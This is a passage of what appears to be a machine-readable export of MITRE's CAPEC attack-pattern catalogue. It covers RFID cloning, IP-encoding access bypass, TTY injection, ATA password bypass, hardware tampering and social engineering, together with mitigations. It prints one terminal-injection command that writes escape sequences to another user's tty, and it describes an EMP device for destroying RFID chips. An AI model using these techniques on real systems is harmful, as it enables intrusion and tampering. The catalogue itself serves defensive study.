electronic ID of other persons.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern21238 + Related_Attack_Pattern_21238 + + + + + + + + + + + + + + 395 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to calculate a card checksum and write out a valid checksum value. Some cards are protected by a checksum calculation, therefore it is necessary to determine what algorithm is being used to calculate the checksum and to employ that algorithm to calculate and write a new valid checksum for the card being created.</xhtml:div> + + + + + + + + + + + + #indReferenceReference21244 + Reference_21244 + + + + + + + + + REF-33 + + + + + Chapter 9: Hacking Hardware + + + + + + + + + + + + #indContentHistoryContentHistory21246 + Content_History_21246 + + + + + + + + + + + + + + + + #indSubmissionSubmission21247 + Submission_21247 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification21252 + Modification_21252 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Abstraction, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification21258 + Modification_21258 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-399 + Cloning RFID Cards or Chips + + + + + + + + + 399 + + + + + Cloning RFID Cards or Chips + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker analyzes data returned by an RFID chip and uses this information to duplicate a RFID signal that responds identically to the target chip. In some cases RFID chips are used for building access control, employee identification, or as markers on products being delivered along a supply chain. Some organizations also embed RFID tags inside computer assets to trigger alarms if they are removed from particular rooms, zones, or buildings. Similar to Magnetic strip cards, RFID cards are susceptible to duplication (cloning) and reuse.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;RFID (Radio Frequency Identification) are passive devices which consist of an integrated circuit for processing RF signals and an antenna. RFID devices are passive in that they lack an on on-board power source. The majority of RFID chips operate on either the 13.56 MHz or 135 KHz frequency. The chip is powered when a signal is received by the antenna on the chip, powering the chip long enough to send a reply message. An attacker is able to capture and analyze RFID data by either stimulating the chip to respond or being proximate to the chip when it sends a response to a remote transmitter. This allows the attacker to duplicate the signal and conduct attacks such as gaining unauthorized access to a building or impersonating a user's identification.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern21273 + Related_Attack_Pattern_21273 + + + + + + + + + + + + + + 395 + + + + + + + + + + + + #indReferenceReference21276 + Reference_21276 + + + + + + + + + REF-33 + + + + + Chapter 9: Hacking Hardware + + + + + + + + + + + + #indContentHistoryContentHistory21278 + Content_History_21278 + + + + + + + + + + + + + + + + #indSubmissionSubmission21279 + Submission_21279 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification21284 + Modification_21284 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Abstraction, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification21290 + Modification_21290 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-4 + Using Alternative IP Address Encodings + + + + + + + + + 4 + + + + + Using Alternative IP Address Encodings + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack relies on the adversary using unexpected formats for representing IP addresses. Networked applications may expect network location information in a specific format, such as fully qualified domains names (FQDNs), URL, IP address, or IP Address ranges. If the location information is not validated against a variety of different possible encodings and formats, the adversary can use an alternate format to bypass application access control.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern21304 + Related_Attack_Pattern_21304 + + + + + + + + + + + + + + 267 + + + + + + + + + + + + #indAttackStepAttackStep21307 + Attack_Step_21307 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the application for IP addresses as user input] Using a browser, an automated tool or by inspecting the application, an adversary records all entry points to the application where IP addresses are used.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all user input entry points visited during a manual traversal of the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually inspect the application to find entry points.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep21316 + Attack_Step_21316 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe entry points to locate vulnerabilities] The adversary uses the entry points gathered in the "Explore" phase as a target list and attempts alternate IP address encodings, observing application behavior. The adversary will also attempt to access the application through an alternate IP address encoding to see if access control changes</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Instead of using a URL, use the IP address that the URL resolves to</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Specify a port directly to a URL input</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Omit or add "http://" or "https://" to a URL to see if the application behaves differently</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep21324 + Attack_Step_21324 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Bypass access control] Using an alternate IP address encoding, the adversary will either access the application or give the alternate encoding as input, bypassing access control restrictions.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target software must fail to anticipate all of the possible valid encodings of an IP/web address.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have the ability to communicate with the server.</xhtml:div> + + + + + + + + + + + + #indSkillSkill21335 + Skill_21335 + + + + + + + + + + + + + + The adversary has only to try IP address format combinations. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary needs to have knowledge of an alternative IP address encoding that bypasses the access control policy of an application. Alternatively, the adversary can simply try to brute-force various encoding possibilities.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence21341 + Consequence_21341 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Default deny access control policies</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Input validation routines should check and enforce both input data types and content against a positive specification. In regards to IP addresses, this should include the authorized manner for the application to represent IP addresses and not accept user specified IP addresses and IP address formats (such as ranges)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Perform input validation for all remote content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary identifies an application server that applies a security policy based on the domain and application name. For example, the access control policy covers authentication and authorization for anyone accessing http://example.domain:8080/application. However, by using the IP address of the host instead (http://192.168.0.1:8080/application), the application authentication and authorization controls may be bypassed. The adversary relies on the victim applying policy to the namespace abstraction and not having a default deny policy in place to manage exceptions.</xhtml:div> + + + + + 291 + + + + + 173 + + + + + + + + + + + + #indReferenceReference21361 + Reference_21361 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory21363 + Content_History_21363 + + + + + + + + + + + + + + + + #indSubmissionSubmission21364 + Submission_21364 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification21369 + Modification_21369 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Description Summary, Examples-Instances, Resources_Required + + + + + + + + + + + + #indModificationModification21375 + Modification_21375 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification21381 + Modification_21381 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Execution_Flow + + + + + + + + + + + + #CAPEC-40 + Manipulating Writeable Terminal Devices + + + + + + + + + 40 + + + + + Manipulating Writeable Terminal Devices + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack exploits terminal devices that allow themselves to be written to by other users. The attacker sends command strings to the target terminal device hoping that the target user will hit enter and thereby execute the malicious command with their privileges. The attacker can send the results (such as copying /etc/passwd) to a known directory and collect once the attack has succeeded.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern21395 + Related_Attack_Pattern_21395 + + + + + + + + + + + + + + 248 + + + + + + + + + + + + #indAttackStepAttackStep21398 + Attack_Step_21398 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify attacker-writable terminals] Determine if users TTYs are writable by the attacker.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine the permissions for the TTYs found on the system. Any that allow user write to the TTY may be vulnerable.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attempt to write to other user TTYs. This approach could leave a trail or alert a user.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep21405 + Attack_Step_21405 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Execute malicious commands] Using one or more vulnerable TTY, execute commands to achieve various impacts.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Commands that allow reading or writing end user files can be executed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">User terminals must have a permissive access control such as world writeable that allows normal users to control data on other user's terminals.</xhtml:div> + + + + + + + + + + + + #indSkillSkill21416 + Skill_21416 + + + + + + + + + + + + + + Ability to discover permissions on terminal devices. Of course, brute force can also be used. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to a terminal on the target network</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence21422 + Consequence_21422 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence21428 + Consequence_21428 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence21432 + Consequence_21432 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Ensure that terminals are only writeable by named owner user and/or administrator</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Enforce principle of least privilege</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;"Any system that allows other peers to write directly to its terminal process is vulnerable to this type of attack. If the terminals are available through being over-privileged (i.e. world-writable) or the attacker is an administrator, then a series of commands in this format can be used to echo commands out to victim terminals.&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;"$echo -e "\\033[30m\\033\\132" &amp;gt; /dev/ttyXX&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;where XX is the tty number of the user under attack. This will paste the characters to another terminal (tty). Note this technique works only if the victim's tty is world writable (which it may not be). That is one reason why programs like write(1) and talk(1) in UNIX systems need to run setuid." [REF-1]&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;If the victim continues to hit "enter" and execute the commands, there are an endless supply of vectors available to the attacker, copying files, open up network connections, ftp out to servers, and so on.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 77 + + + + + + + + + + + + #indReferenceReference21456 + Reference_21456 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory21458 + Content_History_21458 + + + + + + + + + + + + + + + + #indSubmissionSubmission21459 + Submission_21459 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification21464 + Modification_21464 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Phases, Description, Description Summary, Related_Vulnerabilities + + + + + + + + + + + + #indModificationModification21470 + Modification_21470 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attacker_Skills_or_Knowledge_Required, Related_Attack_Patterns, Type (Attack_Pattern -> Relationship) + + + + + + + + + + + + #indModificationModification21476 + Modification_21476 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification21482 + Modification_21482 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Example_Instances + + + + + + + + + + + + #indModificationModification21488 + Modification_21488 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-400 + RFID Chip Deactivation or Destruction + + + + + + + + + 400 + + + + + RFID Chip Deactivation or Destruction + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker uses methods to deactivate a passive RFID tag for the purpose of rendering the tag, badge, card, or object containing the tag unresponsive. RFID tags are used primarily for access control, inventory, or anti-theft devices. The purpose of attacking the RFID chip is to disable or damage the chip without causing damage to the object housing it.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;When correctly performed the RFID chip can be disabled or destroyed without visible damage or marking to whatever item or device containing the chip. Attacking the chip directly allows for the security device or method to be bypassed without directly damaging the device itself, such as an alarm system or computer system. Various methods exist for damaging or deactivating RFID tags. For example, most common RFID chips can be permanently destroyed by creating a small electromagnetic pulse near the chip itself. One method employed requires the modifying a disposable camera by disconnecting the flash bulb and soldering a copper coil to the capacitor. Firing the camera in this configuration near any RFID chip-based device creates an EMP pulse sufficient to destroy the chip without leaving evidence of tampering. So far this attack has been demonstrated to work against RFID chips in the 13.56 MHz range.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern21503 + Related_Attack_Pattern_21503 + + + + + + + + + + + + + + 395 + + + + + + + + + + + + #indReferenceReference21506 + Reference_21506 + + + + + + + + + REF-33 + + + + + Chapter 9: Hacking Hardware + + + + + + + + + + + + #indContentHistoryContentHistory21508 + Content_History_21508 + + + + + + + + + + + + + + + + #indSubmissionSubmission21509 + Submission_21509 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification21514 + Modification_21514 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Abstraction, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification21520 + Modification_21520 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-401 + Physically Hacking Hardware + + + + + + + + + 401 + + + + + Physically Hacking Hardware + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits a weakness in access control to gain access to currently installed hardware and precedes to implement changes or secretly replace a hardware component which undermines the system's integrity for the purpose of carrying out an attack.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern21534 + Related_Attack_Pattern_21534 + + + + + + + + + + + + + + 440 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A malicious subcontractor or subcontractor's employee that is responsible for system maintenance secretly replaces a hard drive with one containing malicious code that will allow for backdoor access once deployed.</xhtml:div> + + + + + 1263 + + + + + + + + + + + + #indContentHistoryContentHistory21542 + Content_History_21542 + + + + + + + + + + + + + + + + #indSubmissionSubmission21543 + Submission_21543 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification21548 + Modification_21548 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Attack_Prerequisites, Description Summary, Examples-Instances, References, Related_Attack_Patterns, Typical_Severity + + + + + + + + + + + + #indModificationModification21554 + Modification_21554 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary, Examples-Instances, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification21560 + Modification_21560 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Example_Instances + + + + + + + + + + + + #indModificationModification21566 + Modification_21566 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated @Name, Related_Weaknesses + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName21572 + Previous_Entry_Name_21572 + + + + + + + + + 2015-11-09 + + + + + Hacking Hardware Devices or Components + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName21573 + Previous_Entry_Name_21573 + + + + + + + + + 2020-07-30 + + + + + Hacking Hardware + + + + + + + + + + + + #CAPEC-402 + Bypassing ATA Password Security + + + + + + + + + 402 + + + + + Bypassing ATA Password Security + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits a weakness in ATA security on a drive to gain access to the information the drive contains without supplying the proper credentials. ATA Security is often employed to protect hard disk information from unauthorized access. The mechanism requires the user to type in a password before the BIOS is allowed access to drive contents. Some implementations of ATA security will accept the ATA command to update the password without the user having authenticated with the BIOS. This occurs because the security mechanism assumes the user has first authenticated via the BIOS prior to sending commands to the drive. Various methods exist for exploiting this flaw, the most common being installing the ATA protected drive into a system lacking ATA security features (a.k.a. hot swapping). Once the drive is installed into the new system the BIOS can be used to reset the drive password.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern21580 + Related_Attack_Pattern_21580 + + + + + + + + + + + + + + 401 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to the system containing the ATA Drive so that the drive can be physically removed from the system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Avoid using ATA password security when possible.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use full disk encryption to protect the entire contents of the drive or sensitive partitions on the drive.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leverage third-party utilities that interface with self-encrypting drives (SEDs) to provide authentication, while relying on the SED itself for data encryption.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The A-FF Repair Station tool is a data recovery utility that can be used for ATA password removal (both High and Maximum level) and firmware area recovery. An adversary with access to this tool could reset the ATA password to bypass this security feature and unlock the hard drive. The adversary could then obtain any data contained within the drive. [REF-702]&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary gains physical access to the targeted hard drive and installs it into a system that does not support ATA security features. Once the drive is installed in the feature-lacking system, the adversary is able to reset the hard drive password via the BIOS. As a result, the adversary is able to bypass ATA password security and access content on the drive.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 285 + + + + + + + + + + + + #indReferenceReference21602 + Reference_21602 + + + + + + + + + REF-33 + + + + + Chapter 9: Hacking Hardware + + + + + + + + + + + + #indReferenceReference21603 + Reference_21603 + + + + + + + + + REF-701 + + + + + + + + + + + + #indReferenceReference21604 + Reference_21604 + + + + + + + + + REF-702 + + + + + + + + + + + + #indContentHistoryContentHistory21606 + Content_History_21606 + + + + + + + + + + + + + + + + #indSubmissionSubmission21607 + Submission_21607 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification21612 + Modification_21612 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification21618 + Modification_21618 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Example_Instances, Mitigations, References + + + + + + + + + + + + #CAPEC-404 + DEPRECATED: Social Information Gathering Attacks + + + + + + + + + 404 + + + + + DEPRECATED: Social Information Gathering Attacks + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it was deemed not to be a legitimate attack pattern. Please refer to CAPEC-118 : Collect and Analyze Information.</xhtml:div> + + + + + + + + + + + + #indReferenceReference21631 + Reference_21631 + + + + + + + + + REF-348 + + + + + + + + + + + + #indContentHistoryContentHistory21633 + Content_History_21633 + + + + + + + + + + + + + + + + #indSubmissionSubmission21634 + Submission_21634 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification21639 + Modification_21639 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Description Summary, Typical_Severity + + + + + + + + + + + + #indModificationModification21645 + Modification_21645 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName21651 + Previous_Entry_Name_21651 + + + + + + + + + 2017-08-04 + + + + + Social Information Gathering Attacks + + + + + + + + + + + + #CAPEC-405 + DEPRECATED: Social Information Gathering via Research + + + + + + + + + 405 + + + + + DEPRECATED: Social Information Gathering via Research + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it was deemed not to be a legitimate attack pattern. Please refer to CAPEC-118 : Collect and Analyze Information.</xhtml:div> + + + + + + + + + + + + #indReferenceReference21659 + Reference_21659 + + + + + + + + + REF-348 + + + + + + + + + + + + #indContentHistoryContentHistory21661 + Content_History_21661 + + + + + + + + + + + + + + + + #indSubmissionSubmission21662 + Submission_21662 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification21667 + Modification_21667 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Description Summary, Related_Attack_Patterns, Typical_Severity + + + + + + + + + + + + #indModificationModification21673 + Modification_21673 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName21679 + Previous_Entry_Name_21679 + + + + + + + + + 2017-08-04 + + + + + Social Information Gathering via Research + + + + + + + + + + + + #CAPEC-406 + Dumpster Diving + + + + + + + + + 406 + + + + + Dumpster Diving + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary cases an establishment and searches through trash bins, dumpsters, or areas where company information may have been accidentally discarded for information items which may be useful to the dumpster diver. The devastating nature of the items and/or information found can be anything from medical records, resumes, personal photos and emails, bank statements, account details or information about software, tech support logs and so much more, including hardware devices. By collecting this information an adversary may be able to learn important facts about the person or organization that play a role in helping the adversary in their attack.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern21686 + Related_Attack_Pattern_21686 + + + + + + + + + + + + + + 150 + + + + + 513 + + + + + 515 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern21690 + Related_Attack_Pattern_21690 + + + + + + + + + + + + + + 163 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern21691 + Related_Attack_Pattern_21691 + + + + + + + + + + + + + + 675 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary must have physical access to the dumpster or downstream processing facility.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence21697 + Consequence_21697 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Documents and materials improperly disposed of can lead to information disclosure if an adversary comes across it.</xhtml:div> + + + + + + + + + + + + #indReferenceReference21704 + Reference_21704 + + + + + + + + + REF-348 + + + + + + + + + + + + #indContentHistoryContentHistory21706 + Content_History_21706 + + + + + + + + + + + + + + + + #indSubmissionSubmission21707 + Submission_21707 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification21712 + Modification_21712 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Description Summary, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification21718 + Modification_21718 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification21724 + Modification_21724 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification21730 + Modification_21730 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification21736 + Modification_21736 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification21742 + Modification_21742 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Description, Related_Attack_Patterns + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName21748 + Previous_Entry_Name_21748 + + + + + + + + + 2017-08-04 + + + + + Social Information Gathering via Dumpster Diving + + + + + + + + + + + + #CAPEC-407 + Pretexting + + + + + + + + + 407 + + + + + Pretexting + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary engages in pretexting behavior to solicit information from target persons, or manipulate the target into performing some action that serves the adversary's interests. During a pretexting attack, the adversary creates an invented scenario, assuming an identity or role to persuade a targeted victim to release information or perform some action. It is more than just creating a lie; in some cases it can be creating a whole new identity and then using that identity to manipulate the receipt of information.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Pretexting can also be used to impersonate people in certain jobs and roles that they never themselves have done. In simple form, these attacks can be leveraged to learn information about a target. More complicated iterations may seek to solicit a target to perform some action that assists the adversary in exploiting organizational weaknesses or obtaining access to secure facilities or systems. Pretexting is not a one-size fits all solution. Good information gathering techniques can make or break a good pretext. A solid pretext is an essential part of building trust. If an adversary’s alias, story, or identity has holes or lacks credibility or even the perception of credibility the target will most likely catch on.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern21759 + 